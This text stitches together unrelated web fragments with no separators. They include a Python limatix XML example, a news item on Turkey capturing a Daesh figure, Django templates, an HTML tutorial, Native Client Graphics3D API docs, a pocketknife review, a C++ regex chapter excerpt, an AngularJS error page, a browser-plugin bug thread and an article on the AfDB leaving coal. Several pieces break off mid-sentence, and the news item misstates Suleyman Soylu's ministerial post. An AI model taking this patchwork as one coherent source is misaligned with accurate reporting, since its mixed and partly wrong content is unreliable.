# import the xmldoc class from limatix.xmldoc import xmldoc # import the numericunitsvalue class from limatix.dc_value import numericunitsvalue # Define a namespace prefix mapping for our references to the # document. We can't rely on mappings within the # document itself, as they are unpredictable. # We need at minimum to define a prefix for our namespace # http://example.com/ournamespace nsmap={ "on": "http://example.com/ournamespace", } # Load an existing file in read-only mode. # Note that this is really a shorthand for # xmldoc.loadhref() where the href is the specified pathname converted to a url # and in the context of the current directory. fh = xmldoc.loadfile("outfile.xml",nsmap=nsmap) # Extract an array of values, based on an XPath relative # to the root element of the document (the on:maintag) # See https://en.wikipedia.org/wiki/XPath for more information on # XPath. (vals,valunits)=fh.xpathnumpy("on:myelement/on:value",desiredunits="m") # (if you don't specify desiredunits, you'll get whatever the units # are in the first element) print("vals=%s; units=%s" % (str(vals),str(valunits))) # vals is a numpy array # valunits is a limatix.lm_units.units object. # Try messing with the units in outfile.xml and you'll find that # it automatically converts things in the sensible way if it can. # Otherwise it raises an exception.


Turkey Captures Top Daesh Militant During Operation in Northern Syria - Defence Minister
MOSCOW (Sputnik) - Turkish Defence Minister Suleyman Soylu said on Wednesday that a top Daesh militant had been captured during Ankara's operation in northern Syria.
The minister called the captured terrorist an "important senior figure," as quoted by the Daily Sabah newspaper, but did not release the name of the jihadist.
Speaking at a security training symposium, Soylu also thanked Germany and the Netherlands for their readiness to accept Daesh terrorists originating from these states.
On October 9, Turkey launched Operation Peace Spring to clear its southern border area of Daesh militants and Kurdish militia, which Ankara believes to be terrorists. After a series of ceasefire arrangements with the United States and Russia, the active phase of the operation was terminated.


{% extends 'main.html' %} {% load i18n %} {% block content_body %}
{% if global_preferences.fair__applications_open_date|date:"U" < current_time %} {% trans 'Signing up for an account is not a registration for the fair. The process of applying for the fair begins after account creation with the application form.' %} {% else %} {% trans 'Signing up for an account is not a registration for the fair. You will be notified about the opening of the application process and will be able to apply for the fair in a separate application step as soon as the application process is open.' %} {% endif %}
{% trans 'Verification of your email was successful.


Using a DSLR can be challenging especially for beginngers, therefore, I decided to make a cheat sheet to help those who are looking to begin using a DSLR.
I made this cheat sheet easy to understand as well as fun to read with bright and light colours. Photography is a fun hobby that should not be perceived as complicated due to the plethora of buttons found on a camera. With this infographic, I intend on making photography easier for everyone - beginners or professionals.


HTML
Let's start by looking at some HTML.
Page text here.
If you've never seen HTML before, it's fairly simple. Each part with an angle bracket is called a tag. The first of each pair is called an opening tag. The second (with a /) is called a closing tag. If you copy that into your editor, and save it as name.html
, you could open it with your browser. Let us do so. (If you got a 404 error, make sure the server is running!).
What is happening here? Nothing too complicated. The
tag tells the browser that this is an HTML document. The tag contains most of the "stuff" that goes into a web page. But we can do better than that. Let's try:
Page text here.
I'm sure you can figure out what that does, and here is your confirmation.
Adding a bit more depth to it, we come to something like a complete webpage.
This title appears at the top of the page!
| The First Header |
The Second Header |
Third Cell Header |
| Under one |
Under two |
Under three |
| Another cell |
Words |
I refuse to put foo |
Once again, it isn't too difficult to see what's happening here. The head section contains information about the title which is displayed in the title bar or tab of the browser. The body contains a table. The table in turn contains a few tr tags, which stands for "Table Row". Each row contains a or which are Table Headers and Table Data respectively. The Table Headers are the bolded elements. The Table Data are the normal cells. Inside the table tag the cell boarders are set to a width of one pixel.
At this point I encourage you to copy some of these files over to the playground folder. Try and make the table 4x4 instead of 3x3. What happens if a cell is empty? What happens if you miss a tag?
| |


{{+bindTo:partials.standard_nacl_api}}
| Graphics3D () | |
| Graphics3D (const InstanceHandle &instance, const int32_t attrib_list[]) | |
| Graphics3D (const InstanceHandle &instance, const Graphics3D &share_context, const int32_t attrib_list[]) | |
| ~Graphics3D () | |
| int32_t | GetAttribs (int32_t attrib_list[]) const |
| int32_t | SetAttribs (const int32_t attrib_list[]) |
| int32_t | ResizeBuffers (int32_t width, int32_t height) |
| int32_t | SwapBuffers (const CompletionCallback &cc) |
This class represents a 3D rendering context in the browser.
Default constructor for creating an is_null() Graphics3D object.
| pp::Graphics3D::Graphics3D | ( | const InstanceHandle & | instance, |
| const int32_t | attrib_list[] | ||
| ) |
A constructor for creating and initializing a 3D rendering context.
The returned context is created off-screen and must be attached to a module instance using Instance::BindGraphics
to draw on the web page.
| [in] | instance | The instance with which this resource will be associated. |
| [in] | attrib_list | The list of attributes (name=value pairs) for the context. The list is terminated with PP_GRAPHICS3DATTRIB_NONE . The attrib_list may be NULL or empty (first attribute is PP_GRAPHICS3DATTRIB_NONE ). If an attribute is not specified in attrib_list , then the default value is used. |
Attributes are classified into two categories:
1. AtLeast: The attribute value in the returned context will meet or exceed the value requested when creating the object. 2. Exact: The attribute value in the returned context is equal to the value requested when creating the object.
AtLeast attributes are (all have default values of 0):
PP_GRAPHICS3DATTRIB_ALPHA_SIZE
PP_GRAPHICS3DATTRIB_BLUE_SIZE
PP_GRAPHICS3DATTRIB_GREEN_SIZE
PP_GRAPHICS3DATTRIB_RED_SIZE
PP_GRAPHICS3DATTRIB_DEPTH_SIZE
PP_GRAPHICS3DATTRIB_STENCIL_SIZE
PP_GRAPHICS3DATTRIB_SAMPLES
PP_GRAPHICS3DATTRIB_SAMPLE_BUFFERS
Exact attributes are:
PP_GRAPHICS3DATTRIB_WIDTH
Default 0 PP_GRAPHICS3DATTRIB_HEIGHT
Default 0 PP_GRAPHICS3DATTRIB_SWAP_BEHAVIOR
Default: Implementation defined.
On failure, the object will be is_null().
| pp::Graphics3D::Graphics3D | ( | const InstanceHandle & | instance, |
| const Graphics3D & | share_context, | ||
| const int32_t | attrib_list[] | ||
| ) |
A constructor for creating and initializing a 3D rendering context.
The returned context is created off-screen. It must be attached to a module instance using Instance::BindGraphics
to draw on the web page.
This constructor is identical to the 2-argument version except that this version allows sharing of resources with another context.
| [in] | instance | The instance that will own the new Graphics3D. |
| [in] | share_context | Specifies the context with which all shareable data will be shared. The shareable data is defined by the client API (note that for OpenGL and OpenGL ES, shareable data excludes texture objects named 0). An arbitrary number of Graphics3D resources can share data in this fashion. |
| [in] | attrib_list | The list of attributes for the context. See the 2-argument version of this constructor for more information. |
On failure, the object will be is_null().
Destructor.
| int32_t pp::Graphics3D::GetAttribs | ( | int32_t | attrib_list[] | ) | const |
GetAttribs() retrieves the value for each attribute in attrib_list
.
The list has the same structure as described for the constructor. All attribute values specified in pp_graphics_3d.h
can be retrieved.
| [in,out] | attrib_list | The list of attributes (name=value pairs) for the context. The list is terminated with PP_GRAPHICS3DATTRIB_NONE . |
The following error codes may be returned on failure:
PP_ERROR_BADRESOURCE if context is invalid. PP_ERROR_BADARGUMENT if attrib_list
is NULL or any attribute in the attrib_list
is not a valid attribute.
Example:
int attrib_list[] = {PP_GRAPHICS3DATTRIB_RED_SIZE, 0, PP_GRAPHICS3DATTRIB_GREEN_SIZE, 0, PP_GRAPHICS3DATTRIB_BLUE_SIZE, 0, PP_GRAPHICS3DATTRIB_NONE}; GetAttribs(context, attrib_list); int red_bits = attrib_list[1]; int green_bits = attrib_list[3]; int blue_bits = attrib_list[5];
This example retrieves the values for rgb bits in the color buffer.
| int32_t pp::Graphics3D::ResizeBuffers | ( | int32_t | width, |
| int32_t | height | ||
| ) |
ResizeBuffers() resizes the backing surface for the context.
| [in] | width | The width of the backing surface. |
| [in] | height | The height of the backing surface. |
PP_ERROR_BADRESOURCE
if context is invalid or PP_ERROR_BADARGUMENT
if the value specified for width or height is less than zero. PP_ERROR_NOMEMORY
might be returned on the next SwapBuffers() callback if the surface could not be resized due to insufficient resources. | int32_t pp::Graphics3D::SetAttribs | ( | const int32_t | attrib_list[] | ) |
SetAttribs() sets the values for each attribute in attrib_list
.
The list has the same structure as the list used in the constructors.
Attributes that can be specified are:
On failure the following error codes may be returned:
| int32_t pp::Graphics3D::SwapBuffers | ( | const CompletionCallback & | cc | ) |
SwapBuffers() makes the contents of the color buffer available for compositing.
This function has no effect on off-screen surfaces: surfaces not bound to any module instance. The contents of ancillary buffers are always undefined after calling SwapBuffers(). The contents of the color buffer are undefined if the value of the PP_GRAPHICS3DATTRIB_SWAP_BEHAVIOR
attribute of context is not PP_GRAPHICS3DATTRIB_BUFFER_PRESERVED
.
SwapBuffers() runs in asynchronous mode. Specify a callback function and the argument for that callback function. The callback function will be executed on the calling thread after the color buffer has been composited with rest of the html page. While you are waiting for a SwapBuffers() callback, additional calls to SwapBuffers() will fail.
Because the callback is executed (or thread unblocked) only when the instance's current state is actually on the screen, this function provides a way to rate limit animations. By waiting until the image is on the screen before painting the next frame, you can ensure you're not generating updates faster than the screen can be updated.
SwapBuffers() performs an implicit flush operation on context. If the context gets into an unrecoverable error condition while processing a command, the error code will be returned as the argument for the callback. The callback may return the following error codes:
PP_ERROR_NOMEMORY
PP_ERROR_CONTEXT_LOST
Note that the same error code may also be obtained by calling GetError().
param[in] cc A CompletionCallback
to be called upon completion of SwapBuffers().
PP_ERROR_BADRESOURCE
if context is invalid or PP_ERROR_BADARGUMENT
if callback is invalid.


James Brand Duval knife review
by Dave ReesREVIEW – Like many of you reading this…my bag transports a lot of essential EDC gear with me throughout my daily travels. This includes my tablet, earbuds, pen, paperwork, cables, etc. And unless I’m going thru an airport, my EDC gear also includes a pocketknife. I hate to say it but I do love nice EDC gear and upgrade when I can, always searching for tech-Zen. So, when James Brand recently announced their “Gentleman’s” knife I jumped at the chance to checkout the Duval to see if will make it into EDC world.
What is it?
The James Brand Duval is a well made folding “Gentleman’s” pocketknife constructed from high grade stainless steel, titanium, and rosewood. The modified sheepsfoot blade is forged from crucible S35vn stainless steel. The frame is made from 6AL 4V titanium with rosewood scaling. The Duval is a nicely sized front-flipper with an ambidextrous carry orientation.
James Brand has always done an excellent job of delivery presentation. Everything I have received from the Portland based company has arrived impressively well done. In this case, the form fitted wood box and wool padding/slipper case not only protects the Duval during travel/delivery but adds excellent attention to detail and a bit of class to the box opening experience.
What’s in the box?
- The Duval pocketknife
- Wool slipper case
Hardware specs
- BLADE STEEL: Crucible S35vn Stainless Steel
- BLADE LENGTH: 2.6″ (6.7 cm)
- OVERALL LENGTH: 6.4″ (16.3 cm)
- WEIGHT: 2.0 ounces (56.7 grams)
- FRAME MATERIAL: 6al4v Titanium
- OPENING STYLE: Front-Flipper
- BLADE SHAPE: Modified Sheepsfoot
- CARRY ORIENTATION: Ambidextrous
- HARDWARE: 416 Stainless Steel
- LOCK TYPE: Frame Lock
- SCALE MATERIAL: Rosewood
- BEARINGS: Ceramic Ball
- DESIGNED IN: Portland, Oregon
Design and features
James Brand has done an excellent job creating a classic looking, high quality pocketknife meant to upgrade your EDC. The Duval is finely machined and finished giving it an impressive polished look and feel in the hand. James Brand calls the Duval the “Modern Gentlemen’s Knife” and I have to agree.
With the blade extended, the Duval’s total length is 6.4 inches. This modern gentleman’s pocketknife is thin and nearly symmetric with classic lines and design queues from decades gone by.
The Duval’s modified sheepsfoot blade is made from crucible S35vn stainless steel and measures 2.6 inches in length. The sheepsfoot blade has a distinctive shape, the first one I have owned. As one would expect, the edge on the Duval’s blade is wickedly sharp.
The knife handle measures 3.8 inches long and weighs just 2.0 ounces (56.7 grams). The rosewood scaling is perfectly fitted into the titanium frame and is held in place with several hex bolts.
The inlayed rosewood that sandwiches the Duval is nicely finished and stained, giving it a wonderful old world feel in the hand.
The titanium frame-lock is simple and easy to operate one-handed. With minimal moving parts and maintenance needed, it should last a very long time.
The frame-lock firmly secures the blade into the open position with zero blade wiggle and little chance of the blade accidentally closing. To close the blade, simply press the frame lock aside and the blade smoothly rotates back into the closed position. The Duval does not have a closed lock that keeps the blade from accidentally opening. Though this is unlikely under normal circumstance, the blade seats firmly within the handle and doesn’t deploy without a good amount of force.
The Duval has a “front-flipper” opening mechanism that extends the blade in a blink of an eye. The pivot point uses ceramic ball bearings within the mechanism.
The Duval’s front-flipper design did take a while to get use to. Unlike other flipper mechanisms that typically are located on the side edge, the knurled actuator on the top definitely took a bit of practice. I found I had to choke up on the handle to get the blade to flip open. Even though it took some time and did feel odd initially, I do have the hang of it now.
The Duval’s rear-most frame spacer has a hole drilled through it for a lanyard.
What I like
- Extremely well made from high quality materials
- Classic old world design for modern times
- Very sharp
- Lightening fast blade deployment
- Wiggle-free frame-lock design
- Titanium and rosewood handle feel great in the hand
What I’d change
- Lower the price
- Front-flipper mechanism took practice to get the hang of opening the blade one-handed
In addition to rosewood and stainless steel, the Duval is available in OD green micarta/stainless or titanium/damasteel.
Final thoughts
I really like the Duval and it will definitely stay in my EDC gear. So much so, I actually keep it in my pants pocket with me all the time during the day versus just in my EDC bag which isn’t by my side 24/7. James Brand has done an excellent job combining old world style and design with modern engineering and high end materials. James Brand nicknaming the Duval “The Modern Gentlemen’s Knife” is spot on. It has a wonderful old school look and feel to it, well worth considering if you’re looking to upgrade or add to your EDC gear.
Price: $275/$375 (titanium/damasteel)
Where to buy: The Duval is available directly from James Brand.
Source: The sample of this product was provided by James Brand.


Chapter 17. Searching
Suppose that you want to scan a text file encoded in HTML and extract all the lines that contain code snippets. Each snippet begins with "<CODE>" and ends with "</CODE>". The two markers are not case sensitive. For now, let's assume that no snippet is longer than one line. This means that we need to search only for lines that contain the first marker, so we can use this text to define a regular expression for the search: const char *expr = "<CODE>"; It's easy to read a file one line at a time, so we don't need to do anything more sophisticated in the regular expression to pick out lines. Simply read a line and see whether it has any text that matches the regular expression. To check for that match, we'll call the template function regex_search, passing it the current line of text from the file and the regular expression object. The function returns true if any subsequence in the target text matches the regular expression. Example 17.1. Searching for Lines with Code Snippets (regexsrch/snippets.cpp)
There are two ways of searching with regular expressions. You can ask whether a regular expression exactly matches the entire target sequence, and you can ask whether a regular expression matches a subsequence of the target sequence. The first is done with the overloaded set of function templates regex_match, discussed in Section 17.2; the second is done with the overloaded set of function templates regex_search, discussed in Section 17.3. The argument lists for the regex_match and regex_search function templates all start with one or two arguments that designate the sequence of characters to be searched. This target sequence is followed by a basic_regex object that defines the regular expression to search for. Finally, an argument of type match_flag_type affects the matching rules. This argument has a default value of match_default, so you often don't have to mention it. In this chapter, we look at three overloaded versions of regex_match and three overloaded versions of regex_search. For each of these six function templates, a corresponding function template can take the same arguments and an additional argument whose type is an instantiation of match_results, which the algorithm fills in with details of how the match was accomplished. We look at those versions in the next chapter. The characters in the target sequence must have the same type as the element type of the basic_regex object. For example, when the regular expression that you're searching for is held in a basic_regex<wchar_t> object, the target sequence must consist of characters of type wchar_t. When you call these functions, you can specify the target sequence in three ways.
Example 17.2. Target Sequences (regexsrch/targets.cpp)
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Login & Register
<EMAIL_ADDRESS>Home
About us
Tennant Portal
Vacation Rentals
Contact Us
tennant portal
The standard Lorem Ipsum passage, used since the 1500s
PAY MY RENT
CONTACT LANDLORD
MAINTENANCE REQUEST
SUBMIT DOCUMENTS
SUBMIT DOCUMENTS
Upload Document


{% extends 'base.html' %} {% load bootstrap4 %} {% block content %}
You have no profile picture
{{profile.bio}}
You have no bio


PLEASE REVIEW CAREFULLY:
If any changes/problems
occur it is required to notify the company as soon as possible.
Any delays in art approval will affect the shipping date.
Production
time is 3 business days from approval. Approximate shipping date is
indicated below.
Expedited shipping is available with an
extra charge. Tekweld cannot be held responsible for in hands date
not met if the above is not noted.
Paper proofs are to be
approved within 24 hours in order to keep the shipping date
unaffected.


Duplicates in a repeater are not allowed. Use 'track by' expression to specify unique keys. Repeater: {0}, Duplicate key: {1}, Duplicate value: {2}
Occurs if there are duplicate keys in an ngRepeat expression. Duplicate keys are banned because AngularJS uses keys to associate DOM nodes with items.
By default, collections are keyed by reference which is desirable for most common models but can be problematic for primitive types that are interned (share references).
For example the issue can be triggered by this invalid code:

To resolve this error either ensure that the items in the collection have unique identity or use the track by
syntax to specify how to track the association between models and DOM.
The example above can be resolved by using track by $index
, which will cause the items to be keyed by their position in the array instead of their value:


LINE 387 var e = $("#base-header section.community-bar .grid-container").first();
change to var e = $("#base-header section#community-bar .grid-container").first();
LINE 387 var e = $("#base-header section.community-bar .grid-container").first();
change to var e = $("#base-header section#community-bar .grid-container").first();
Tested on Firefox.
I know the fix, thx :)
Topicstarter
BrainFooLong
Administrator
Fix is out now.
Brady_The
BrainFooLong wrote:
Fix is out now.
Is it possible that the bug is back or still existing in Firefox (24.0)? It's fine in Chrome, but the icon is completely missing on BF4BL and back in said corner on BF3BL (in Firefox). Does anyone else has these problems or is it just me (I know that I am a special case.)?
Meaurk
Global Moderator
Brady_The wrote:
BrainFooLong wrote:
Fix is out now.
Is it possible that the bug is back or still existing in Firefox (24.0)? It's fine in Chrome, but the icon is completely missing on BF4BL and back in said corner on BF3BL (in Firefox). Does anyone else has these problems or is it just me (I know that I am a special case.)?
I think that you're a special case, I've tested both Chrome and Firefox. A clean re-installation should solve the problem I think. :-)
Post edited 4 x times, last by
Brady_The
Brady_The
Meaurk wrote:
Brady_The wrote:
BrainFooLong wrote:
Fix is out now.
Is it possible that the bug is back or still existing in Firefox (24.0)? It's fine in Chrome, but the icon is completely missing on BF4BL and back in said corner on BF3BL (in Firefox). Does anyone else has these problems or is it just me (I know that I am a special case.)?
I think that you're a special case, I've tested both Chrome and Firefox. A clean re-installation should solve the problem I think. :-)
Okay, that was really strange. I checked the Add-Ons and noticed that I had installed the version
3.6.3
(at least it showed me that version number). I cross-checked with the website and here the newest version is
3.6.2
. I "down graded" and now everything works fine.
Secret message hidden behind a totally unremarkable button
Seems that I am indeed special. Just not special in a good way.
Post edited 1 x times, last by
BrainFooLong
Administrator
Topicstarter
BrainFooLong
Administrator
Lol?
3.6.3 version was never developed? Neither internally nor planned.
Are you sure that you don't have been hacked? :)
Brady_The
BrainFooLong wrote:
Lol?
3.6.3 version was never developed? Neither internally nor planned.
Are you sure that you don't have been hacked? :)
That's exactly the reason why I think that I am special. Lol. I should have made a screenshot.


Coal projects risk becoming “stranded assets”, says AfDB
by Ashley TheronThe African Development Bank (AfDB) joins a plethora of top banks operating in Africa, insurers and development finance institutions, which are throttling back on investments in coal projects.
AfDB President Akinwumi Adesina told Reuters at the recently held South Africa Investment Conference that the bank took environmental concerns seriously and was focusing on renewable energy, adding that coal projects risked becoming “stranded assets” on the AfDB’s balance sheet.
Read more
AfDB signs $250m RPA with ABSA bank
Wale Shonibare, AfDB’s acting vice president for energy, said the bank “did not move forward with the Lamu Coal transaction and had no plans to do so in the future”.
The Abidjan-based lender published an environmental and social impact assessment in May for the Kenyan coal-fired power station in Lamu. The project lies near a UNESCO World Heritage Site and was halted by a local environmental tribunal in June this year.
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According to a court ruling, the Chinese-backed power plant failed to adequately consult the public about the initiative, and cited insufficient and unclear plans for handling and storing toxic coal ash. Read more
The AfDB has been a major funder of coal projects in Africa.
In the past decade, it has lent more than 1.5 billion euros ($1.65 billion) to South African utility Eskom for its Medupi coal plant and more than 50 million euros for the Sendou coal plant in Senegal.
Author: Bryan Groenendaal
This article was originally published on Green Building Africa and is republished with permission with minor editorial changes.